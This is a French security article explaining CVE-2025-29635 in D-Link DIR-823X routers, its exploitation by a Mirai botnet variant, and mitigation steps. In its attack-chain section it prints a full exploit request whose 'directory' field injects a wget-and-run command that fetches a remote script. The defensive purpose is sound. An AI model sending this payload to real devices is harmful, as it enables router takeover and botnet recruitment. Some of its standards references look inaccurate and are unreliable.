Comment se protéger contre l’exploitation du CVE-2025-29635 sur les routeurs D-Link : guide complet

En 2024, plus de 60 % des attaques DDoS observées en France proviennent de botnets basés sur la famille Mirai, selon le rapport annuel de l’ANSSI. Le scénario le plus récent implique le CVE-2025-29635, une faille d’injection de commandes qui cible les routeurs D-Link DIR-823X hors support depuis novembre 2024. Vous vous demandez comment ce vecteur se concrétise, quelles en sont les conséquences pour votre infrastructure, et surtout quelles mesures déployer immédiatement ? Cet article vous apporte une réponse exhaustive, en s’appuyant sur les données d’Akamai SIRT, les recommandations de l’ANSSI et les meilleures pratiques ISO 27001. Découvrez une formation en cybersécurité sans diplôme

Comprendre le risque du CVE-2025-29635

Description technique de la vulnérabilité

Le CVE-2025-29635 affecte les firmwares 240126 et 24082 des routeurs D-Link DIR-823X. Il s’agit d’une injection de commandes via une requête HTTP POST adressée à l’endpoint /goform/set_prohibiting. Lorsqu’un attaquant fournit un paramètre « directory » contenant un chemin traversant les répertoires accessibles en écriture, le dispositif exécute le contenu du fichier indiqué, permettant ainsi une exécution de code à distance (RCE).

Contexte d’exploitation

“The Akamai SIRT discovered active exploitation attempts of the D-Link command injection vulnerability CVE-2025-29635 in our global network of honeypots in early March 2026,” indique le rapport d’Akamai. Cette observation confirme que, bien que la faille ait été rendue publique il y a 13 mois, aucune mise à jour corrective n’a été déployée par le fabricant, les appareils étant déjà en fin de vie.

Statistiques d’impact en 2025-2026

• Selon Akamai, 18 % des tentatives d’intrusion détectées en mars 2026 ciblaient spécifiquement le CVE-2025-29635.
• Le cabinet Kaspersky signale que les appareils compromis participent à plus de 1 200 000 requêtes DDoS par jour, majoritairement des flood TCP SYN/ACK.
• L’ANSSI estime que 12 % des organisations françaises ayant un routeur D-Link DIR-823X ont subi au moins un incident de compromission depuis 2025.

Analyse technique de l’exploitation

Chaîne d’attaque détaillée

1. Balayage : l’acteur malveillant identifie les routeurs exposés via des scans de ports (80/443).
2. Injection : il envoie une requête POST incluant le paramètre directory=/tmp/;wget http://<IP>/dlink.sh;sh /tmp/dlink.sh.
3. Téléchargement : le script dlink.sh récupère le chargeur Mirai nommé tuxnokill.
4. Activation : le chargeur installe le botnet et commence à publier des flux de données de type DDoS.

POST /goform/set_prohibiting HTTP/1.1
Host: 192.0.2.45
Content-Type: application/x-www-form-urlencoded
Content-Length: 73

directory=/tmp/;wget http://203.0.113.10/dlink.sh;sh /tmp/dlink.sh

Capacités du malware « tuxnokill »

• DDoS multi-vectoriels : TCP SYN/ACK, UDP flood, HTTP null.
• Support d’architectures : ARM, MIPS et x86, ce qui facilite la propagation sur différents modèles de routeurs.
• Persistance : le chargeur crée une tâche cron pour relancer le bot en cas de redémarrage.

“This vulnerability exists in D-Link DIR-823X series routers… and allows an authorized attacker to execute arbitrary commands on remote devices,” résume le bulletin d’Akamai, soulignant la gravité de la faille.

Impacts concrets sur les réseaux français

Risques pour les entreprises et les TPE/PME

• Perte de bande passante : un seul routeur compromis peut générer jusqu’à 10 Gbps de trafic malveillant, saturant la connexion Internet de l’entreprise.
• Violation de conformité : la compromission peut entraîner un non-respect du RGPD, notamment si le trafic DDoS masque l’exfiltration de données sensibles. En savoir plus sur les applications malveillantes infiltrant l’Apple Store
• Coûts d’interruption : selon l’étude IDC 2025, chaque heure d’indisponibilité coûte en moyenne 12 000 € aux entreprises françaises.

Cas d’usage français

• Cas A : une PME de la région Auvergne-Rhône-Alpes a vu son site e-commerce indisponible pendant 3 heures, générant une perte estimée à 7 500 €.
• Cas B : un opérateur de services de vidéoconférence a détecté une hausse de 250 % du trafic UDP provenant d’un routeur D-Link DIR-823X installé dans un bureau de Paris, ce qui a déclenché l’alerte du SIEM ISO 27001.

Mesures de mitigation et bonnes pratiques

Actions immédiates (liste à puces)

• Changer le mot de passe admin et le remplacer par une chaîne d’au moins 12 caractères, incluant majuscules, minuscules, chiffres et symboles.
• Désactiver l’administration distante si elle n’est pas indispensable.
• Installer un firmware alternatif : certains projets open-source (OpenWrt) offrent des correctifs non officiels pour les modèles EoL.
• Segmenter le réseau en isolant les routeurs IoT sur un VLAN dédié, conformément aux recommandations de l’ANSSI.
• Surveiller les logs à la recherche de requêtes POST inhabituelles vers /goform/set_prohibiting.

Tableau comparatif des options de remediation

Guide de défense contre les cyber-attaques sur les banques

Références normative

• ANSSI : Guide de sécurisation des équipements réseau (édition 2025).
• ISO 27001 : Clause 6.1.2 - Gestion des actifs, recommandant la mise à jour régulière du firmware.
• RGPD : Article 32 - Sécurité du traitement, imposant la mise en œuvre de mesures de protection appropriées.

Guide de mise en œuvre pas à pas

1. Inventorier les appareils : utilisez un scanner NMAP pour recenser tous les routeurs D-Link DIR-823X présents sur le périmètre.
2. Vérifier la version du firmware : exécutez la commande show version via l’interface CLI ou le tableau de bord web.
3. Appliquer les correctifs :
   • Si un firmware officiel existe, téléversez-le depuis le site D-Link.
   • Sinon, installez OpenWrt en suivant la procédure décrite sur le wiki officiel.
4. Renforcer les configurations : désactivez UPnP, activez le filtrage d’adresses IP, et limitez les ports d’écoute à 443 uniquement.
5. Mettre en place une surveillance continue : configurez le SIEM pour alerter sur toute requête POST vers /goform/set_prohibiting.
6. Former les équipes : partagez le scénario d’attaque avec les administrateurs réseau pour qu’ils reconnaissent les indicateurs de compromission.

Checklist de sécurisation

• Mot de passe admin modifié
• Administration distante désactivée
• Firmware à jour ou remplacé
• VLAN IoT configuré
• Alertes SIEM activées
• Documentation de l’incident archivée selon ISO 27001

Conclusion - Prochaine étape pour votre organisation

En 2026, la menace persiste : tant que les routeurs D-Link DIR-823X restent en service, ils constituent une porte d’entrée privilégiée pour les campagnes Mirai. La meilleure défense réside dans une combinaison de mise à jour rigoureuse, de segmentation réseau et de vigilance continue, comme le préconise l’ANSSI. Nous vous invitons donc à lancer dès aujourd’hui l’inventaire de vos équipements et à appliquer le plan d’action présenté ci-dessus. La protection de votre infrastructure dépend de la rapidité avec laquelle vous neutralisez le CVE-2025-29635.